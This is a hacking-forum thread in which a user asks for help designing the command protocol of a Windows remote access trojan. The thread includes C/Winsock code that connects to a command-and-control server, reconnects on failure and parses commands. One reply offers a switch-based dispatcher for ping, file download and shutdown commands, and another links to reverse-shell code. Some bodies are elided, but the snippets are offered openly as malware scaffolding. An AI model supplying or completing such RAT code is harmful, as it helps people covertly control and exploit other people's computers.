

Forum:[Hack Forums](#)

Thread: [Best Protocol Implementation of Remote access trojan](#)

F.A.S.T - April 27, 2019, 7:05 am

Hello Everyone. I wanna ask how a Bot works. Let's say a Basic Structure for any Remote access Trojan (Rat).

1. Connect to the C&C.
2. Receive commands.
3. Respond to them.

Let me break down the Second part of Receiving Commands using Code.

Create a Socket and Connect to the C&C. If the connection is established start Receiving Commands in a Thread. All good.

```
Code mainsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(connect(mainsocket, (struct sockaddr*)&server, sizeof(server)) != 0)
    {
        //
    } else {
        CreateThread(NULL, 0, RecvThread, NULL, 0, NULL);
    }
```

Now that the Connection has been established, Start Receiving Commands and responding to them.

(Note that the client side is for windows)

```
Code DWORD WINAPI RecvThread(LPVOID lpParameter)
{
    char recvbuf[BUFFER]; // #define BUFFER 1024 ok?
    int rec = recv(mainsocket, recvbuf, BUFFER, 0);
    if(rec == INVALID_SOCKET || rec == SOCKET_ERROR){
        Sleep(DELAY); // #define DELAY 500
        Connect(); // Reconnect
    } else {
        // See below
    }
}
```

Ok now that we are connected and Receiving Data from the C&C. What is the best Protocol that can be implemented besides using If else statement.

The If else statement is NOT the best way of doing this, This I understand fully. So what is?

```
Code if(strcmp(recvbuf, "test") == 0)
{
    Send("[TEST]=> Connection is OK.");
} else {
    Send("[BOT]=> i dunno what u sayin.");
}
```

dracx - April 27, 2019, 6:09 pm

(Apr 27, 2019 07:05 AM)F.A.S.T Wrote: [\[CITE\]](#)

Hello Everyone. I wanna ask how a Bot works. Let's say a Basic Structure for any Remote access Trojan (Rat).

1. Connect to the C&C.
2. Receive commands.
3. Respond to them.

Let me break down the Second part of Receiving Commands using Code.

Create a Socket and Connect to the C&C. If the connection is established start Receiving Commands in a Thread. All good.

```
Code mainsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(connect(mainsocket, (struct sockaddr*)&server, sizeof(server)) != 0)
    {
        //
    } else {
        CreateThread(NULL, 0, RecvThread, NULL, 0, NULL);
    }
```

Now that the Connection has been established, Start Receiving Commands and responding to them.

(Note that the client side is for windows)

Code DWORD WINAPI RecvThread(LPVOID lpParameter)

```
{
    char recvbuf[BUFFER]; // #define BUFFER 1024 ok?
    int rec = recv(mainsocket, recvbuf, BUFFER, 0);
    if(rec == INVALID_SOCKET || rec == SOCKET_ERROR){
        Sleep(DELAY); // #define DELAY 500
        Connect(); // Reconnect
    } else {
        // See below
    }
}
```

Ok now that we are connected and Receiving Data from the C&C. What is the best Protocol that can be implemented besides using If else statement.

The If else statement is NOT the best way of doing this, This I understand fully. So what is?

Code if(strcmp(recvbuf, "test") == 0)

```
{
    Send("[TEST]=> Connection is OK.");
} else {
    Send("[BOT]=> i dunno what u sayin.");
}
```

Try checking out Lilith on github, it's written on C++, and you'll learn great things. I kinda cant explain it ro you myself, but if you check lilith on github, you'll find it yourself.

F.A.S.T - April 28, 2019, 12:23 pm

(Apr 27, 2019 06:09 PM)dracx Wrote: [\[CITE\]](#) Try checking out Lilith on github, it's written on C++, and you'll learn great things. I kinda cant explain it ro you myself, but if you check lilith on github, you'll find it yourself.

I did look into that but I didn't find what I needed. It's too big. I can't just find the protocol itself.

0xDEAD10CC - April 28, 2019, 6:01 pm

(Apr 28, 2019 12:23 PM)F.A.S.T Wrote: [\[CITE\]](#) I did look into that but I didn't find what I needed. It's too big. I can't just find the protocol itself.

If you're expecting simplicity by any means for this then you're already attempting something that you can't do.

Judging by your past threads as well - this is out of your reach to develop anything meaningful. Do as others do and take the time to actually learn the basics first. Not sure why people discover some networking API's and immediately want to jump into projects like these before they even truly understand Win32 or any of the other prerequisites.

Lastly there is no "best" protocol, most of them are going to be custom and will tend to use methods that allow them to run reliably but also discretely. Obviously some methods are going to be more conspicuous than others.

dracx - April 28, 2019, 6:50 pm

(Apr 28, 2019 12:23 PM)F.A.S.T Wrote: [\[CITE\]](#) I did look into that but I didn't find what I needed. It's too big. I can't just find the protocol itself.

The source, is actually kinda small, I think your new. hahaha, gl.

UnknownProducts - April 29, 2019, 11:31 am

have look at typical multi chat program and you will understand.

this is good example:

<https://www.geeksforgeeks.org/socket-programming-in-cc-handling-multiple-clients-on-server-without-multi-threading/>

YouthInAsia - April 30, 2019, 6:17 am

(Apr 28, 2019 06:01 PM)0xDEAD10CC Wrote: [\[CITE\]](#) If you're expecting simplicity by any means for this then you're already attempting something that you can't do.

Judging by your past threads as well - this is out of your reach to develop anything meaningful. Do as others do and take the time to actually learn the basics first. Not sure why people discover some networking API's and immediately want to jump into projects like these before they even truly understand Win32 or any of the other prerequisites.

Lastly there is no "best" protocol, most of them are going to be custom and will tend to use methods that allow them to run reliably but also discretely. Obviously some methods are going to be more conspicuous than others.

I think everyone should just stop offering help to him. His intents are malicious, he's incompetent. Every thread he makes shows a clear misunderstanding, lack of even fundamental knowledge to achieve what he's trying to do. It's almost comedic at this point. He actually reminds me of another user on this forum who went by the name of "Homie" or something. The kid for the life of him could not figure out networking and multi-network connectivity. He'll figure it out in a few years probably.

F.A.S.T - April 30, 2019, 8:20 am

Hello. Please answer my Question if you know the Answer. Otherwise please stop trying to act like a Smart Ass. No one is a Telepath who can know someones intention by just sitting at home.

@0xDEAD10CC, This is not out my Reach. I saw I know what you mean. My threads have formed a Pattern that looks that way.

Here's what I'm actually trying to do. I'm making a Winsock Client that allows remote access via netcat or any other similar Application. Before starting this I knew there would be some parts that would seem hard for me, But the only way of learning them is challenging them.

Respecting everyone who's helping me learn. I'll never cross the line and be cocky.

Also, @YouthInAsia, You registered on 03-09-2019 with 0 Threads and you're talking about some user "Homie"? Multi accounting? I don't give a damn and nor will I report you. But I will remember this.

And this thread is about me asking that what is the best way to handle the commands from the Server side. (if the title is misleading). Like, I was using strcmp, But now I'm just converting the buffer to string and comparing it. Anyway, Yeah whatever. Thanks for the massive help everybody.

HFDone - April 30, 2019, 10:33 am

linux <https://0x00sec.org/t/remote-shells-part-i/269>

windows

<https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c>

<https://scriptdotsh.com/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell>

YouthInAsia - April 30, 2019, 12:27 pm

(Apr 30, 2019 08:20 AM)F.A.S.T Wrote: [\[CITE\]](#) Also, @YouthInAsia, You registered on 03-09-2019 with 0 Threads and you're talking about some user "Homie"? Multi accounting? I don't give a damn and nor will I report you. But I will remember this.

Been on this forum since like 2010

myselfandi - May 29, 2019, 6:15 am

(Apr 27, 2019 07:05 AM)F.A.S.T Wrote: [\[CITE\]](#)

Hello Everyone. I wanna ask how a Bot works. Let's say a Basic Structure for any Remote access Trojan (Rat).

1. Connect to the C&C.
2. Receive commands.
3. Respond to them.

Let me break down the Second part of Receiving Commands using Code.

Create a Socket and Connect to the C&C. If the connection is established start Receiving Commands in a Thread. All good.

```
Code mainsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(connect(mainsocket, (struct sockaddr*)&server, sizeof(server)) != 0)
    {
        //
    } else {
        CreateThread(NULL, 0, RecvThread, NULL, 0, NULL);
    }
```

Now that the Connection has been established, Start Receiving Commands and responding to them.

(Note that the client side is for windows)

```
Code DWORD WINAPI RecvThread(LPVOID lpParameter)
{
    char recvbuf[BUFFER]; // #define BUFFER 1024 ok?
```

```

int rec = recv(mainsocket, recvbuf, BUFFER, 0);
if(rec == INVALID_SOCKET || rec == SOCKET_ERROR){
Sleep(DELAY); // #define DELAY 500
Connect(); // Reconnect
} else {
// See below
}
}
}

```

Ok now that we are connected and Receiving Data from the C&C. What is the best Protocol that can be implemented besides using If else statement.

The If else statement is NOT the best way of doing this, This I understand fully. So what is?

```

Code if(strcmp(recvbuf, "test") == 0)
{
Send("[TEST]=> Connection is OK.");
} else {
Send("[BOT]=> i dunno what u sayin.");
}

```

A better way to do is using enums and switch statement. Here's some code from the top of my head.

PS: I have not tested the code so don't expect it to work with out some correction.

```

Code #define FT_BYTES 1
#define TEMPS_DE_RECONNECTION 5*60*1000
enum features{
PING = 0x0F,
DOWNLOAD_FILE,
SHUTDOWN,
}; // 0x0E ,0x0E,...

```

```

const BYTE IsUP = PING + 0x50;
const BYTE error = 0xF0 ;

```

```

while(connect(...) == SOCKET_ERROR)
{
Sleep(TEMPS_DE_RECONNECTION) ; // try to connecting each 5 minute
}

```

// check first the endianness(big-endian or little-endian) of the buffer received transfer them accordingly to your need

// keep looping until you recv data

```

switch(*(BYTE*)ft_num)
{
case PING:
{
send(sock, (BYTE*)IsUP, FT_BYTES, 0) ;
...
break;
}
case DOWNLOAD_FILE:

```

```
{
    ...
    break;
}
case SHUTDOWN:
{
    ...
    break;
}
default :
    send(sock,(BYTE*)error, FT_BYTES, 0) ; // wrong command, alert the server
}the same would be for the server instead your react to your GUI/console input. from that you send
commands.
```